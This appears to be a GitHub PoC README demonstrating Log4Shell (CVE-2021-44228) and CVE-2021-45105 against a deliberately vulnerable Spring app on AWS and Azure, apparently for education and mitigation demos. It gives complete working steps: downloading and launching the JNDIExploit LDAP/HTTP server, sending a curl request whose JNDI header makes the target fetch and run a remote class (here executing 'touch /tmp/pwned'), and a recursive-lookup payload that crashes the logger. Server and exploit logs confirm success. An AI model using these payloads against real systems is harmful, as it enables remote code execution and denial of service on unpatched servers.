CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

Associated Vulnerability

Description

Log4Shell Demo with AWS

Readme

# Log4Shell(CVE-2021-44228) Demo

![demo-scenarios](images/demo-scenarios.png)

## Environment Setup

### Client

- Anywhere that with ability to access the HTTP Server with `curl` command line

### Vulnerable App by Http Server with `log4j`

- Amazon Linux 2 (x86 based) EC2 Instance / CentOS Azure Virtual Machine

```bash
$ yum install docker -y
$ systemctl enable docker
$ systemctl start docker
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
```

- SSH Console output
    ![spring-web-server](images/spring-web-server.png)

### JNDI Exploit as Harmful LDAP Server

- Amazon Linux 2 (x86 based) EC2 Instance

```bash
$ yum install java-11-amazon-corretto.x86_64 -y
# Azure for java-1.7.0-openjdk-1.7.0.261-2.6.22.2.el7_8.x86_64
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the EC2 private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -s http://169.254.169.254/latest/meta-data/local-ipv4) -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
```

- CentOS Azure Virtual Machine

```bash
$ wget https://corretto.aws/downloads/latest/amazon-corretto-11-x64-linux-jdk.rpm
$ yum install amazon-corretto-11-x64-linux-jdk.rpm -y
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -sH Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/?api-version=2021-02-01" | awk -F '[:,"]' '{print $5}') -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
```

- SSH Console output
    ![jndiexploit](images/jndiexploit.png)

## Exploitation Flow

### Normal Behavior

The Server will return `Hello World!`, when Client sending the request properly with `X-Api-Version` header. Otherwise, the client would get the `400` HTTP error as bad request.

- Client

```bash
$ curl SERVER_IP:8080 -H 'X-Api-Version: 1.1'
Hello, world!
$ curl SERVER_IP:8080
{"timestamp":"2021-12-22T02:44:43.103+00:00","status":400,"error":"Bad Request","path":"/"}
```

![client-requests-normal](images/client-requests-normal.png)

- Server Log

```bash
# Requests with the header properly
2021-12-22 02:44:40.920  INFO 1 --- [nio-8080-exec-3] HelloWorld                               : Received a request for API version 1
It's Hello from System.out.
# Reqeusts without the right input
2021-12-22 02:44:43.102  WARN 1 --- [nio-8080-exec-5] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
```

![server-requests-normal](images/server-requests-normal.png)

### Injection Attack / CVE-2021-44228

Now we gonna to send the injection request with header `'X-Api-Version: ${jndi:ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'`, which would trigger the CVE-2021-44228 to execute the JNDI lookup to access with ldap, and preform the RCE.

The `dG91Y2ggL3RtcC9wd25lZAo=}` is base64 encoded from linux command line `touch /tmp/pwned`. Once the RCE achieved, it would create a file in the vulnerable app.

You can also change the behavior by replacing the base64 string with https://www.base64encode.org/.

- Client

```bash
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Hello, world!
```

![client-requests-injection](images/client-requests-injection.png)

- Server Log

```bash
2021-12-22 03:04:07,042 http-nio-8080-exec-6 WARN Error looking up JNDI resource [ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitxM5KqZop9U cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="'
...
...
# Receive the injection and redirect it to the JNDI Exploit Server we indicated in the request
2021-12-22 03:04:06.567  INFO 1 --- [nio-8080-exec-6] HelloWorld                               : Received a request for API version ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
```

![server-exploit](images/server-exploit.png)

- JNDI Exploit

```bash
# Get the LDAP Lookup from server vulnerable app
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned
# Send back the encoded string back to vulnerable app, let the app execute the command in base64
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://10.0.1.164:8888/ExploitxM5KqZop9U.class
[+] New HTTP Request From /10.0.1.200:33250  /ExploitxM5KqZop9U.class
[+] Receive ClassRequest: ExploitxM5KqZop9U.class
[+] Response Code: 200
```

![jndi-exploit-ldap](images/jndi-exploit-ldap.png)

- Validate the RCE result in vulnerable app in Server

```bash
# Get the Container ID of vulnerable app in Server
$ docker ps -a
CONTAINER ID   IMAGE            COMMAND                  CREATED             STATUS             PORTS                                       NAMES
a4b14c4adb6c   vulnerable-app   "java -jar /app/spri…"   About an hour ago   Up About an hour   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   vulnerable-app
# List the /tmp folder before the injection
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x    2 root     root            15 Dec 22 02:34 hsperfdata_root
drwx------    2 root     root             6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------    3 root     root            18 Dec 22 01:34 tomcat.8080.4816494392465116780
# Confirm the RCE achieved bt injection request
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x    2 root     root            15 Dec 22 02:34 hsperfdata_root
-rw-r--r--    1 root     root             0 Dec 22 03:04 pwned # RCE achieved
drwx------    2 root     root             6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------    3 root     root            18 Dec 22 01:34 tomcat.8080.4816494392465116780
```

![server-app-pwned](images/server-app-pwned.png)

### Injection Attack / CVE-2021-45105

Log4j2 versions 2.0-alpha1 through 2.16.0, excluding 2.12.3, didn't protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. - [*Description fro CVE-2021-45105, Apache*](https://logging.apache.org/log4j/2.x/security.html)

Now we can input the Thread Context Map with StrSubstitutor class `${${::-${::-$${::-j}}}}` to let the application crash due to infinit recursion error.

- Client

```bash
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Hello, world!
```

![client-requests-45105](images/client-requests-45105.png)

- Server Log

```bash
2021-12-22 03:42:38,614 http-nio-8080-exec-2 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-$}}: :
...
...
    at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:748)
```

![server-error-infinite-loop](images/server-error-infinite-loop.png)

## Reference

- [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)
- [Mr-xn/JNDIExploit](https://github.com/Mr-xn/JNDIExploit-1)

File Snapshot

 [4.0K]  /data/pocs/0a4376a8f5e490095bdd019a15d057fab009239c
├── [6.7K]  demo-aws-mitigation.md
├── [ 29K]  demo-scenarios.excalidraw
├── [198K]  demo-scenarios-on-aws.excalidraw
├── [4.0K]  images
│   ├── [224K]  alb-listener.png
│   ├── [ 37K]  client-ec2-request-injection.png
│   ├── [ 48K]  client-ec2-requests-blocked.png
│   ├── [ 72K]  client-local-request-injection.png
│   ├── [ 31K]  client-local-requests-normal.png
│   ├── [ 13K]  client-requests-45105.png
│   ├── [ 21K]  client-requests-injection.png
│   ├── [ 26K]  client-requests-normal.png
│   ├── [288K]  demo-scenarios-on-aws.png
│   ├── [177K]  demo-scenarios.png
│   ├── [228K]  ec2-instance-findings.png
│   ├── [154K]  ecr-image-details.png
│   ├── [253K]  ecr-image-findings.png
│   ├── [175K]  inspector-finding-remediation.png
│   ├── [ 76K]  jndi-exploit-ldap.png
│   ├── [ 23K]  jndiexploit.png
│   ├── [ 29K]  server-alb-requests-normal.png
│   ├── [ 84K]  server-app-pwned.png
│   ├── [ 90K]  server-error-infinite-loop.png
│   ├── [ 21K]  server-exploit.png
│   ├── [ 33K]  server-requests-normal.png
│   ├── [113K]  spring-web-server.png
│   ├── [118K]  target-group-health-check.png
│   ├── [128K]  target-group-registered-targets.png
│   ├── [217K]  waf-anonymous-rule-block.png
│   ├── [ 72K]  waf-web-acls.png
│   └── [142K]  waf-web-acls-rules.png
└── [8.1K]  README.md

1 directory, 31 files

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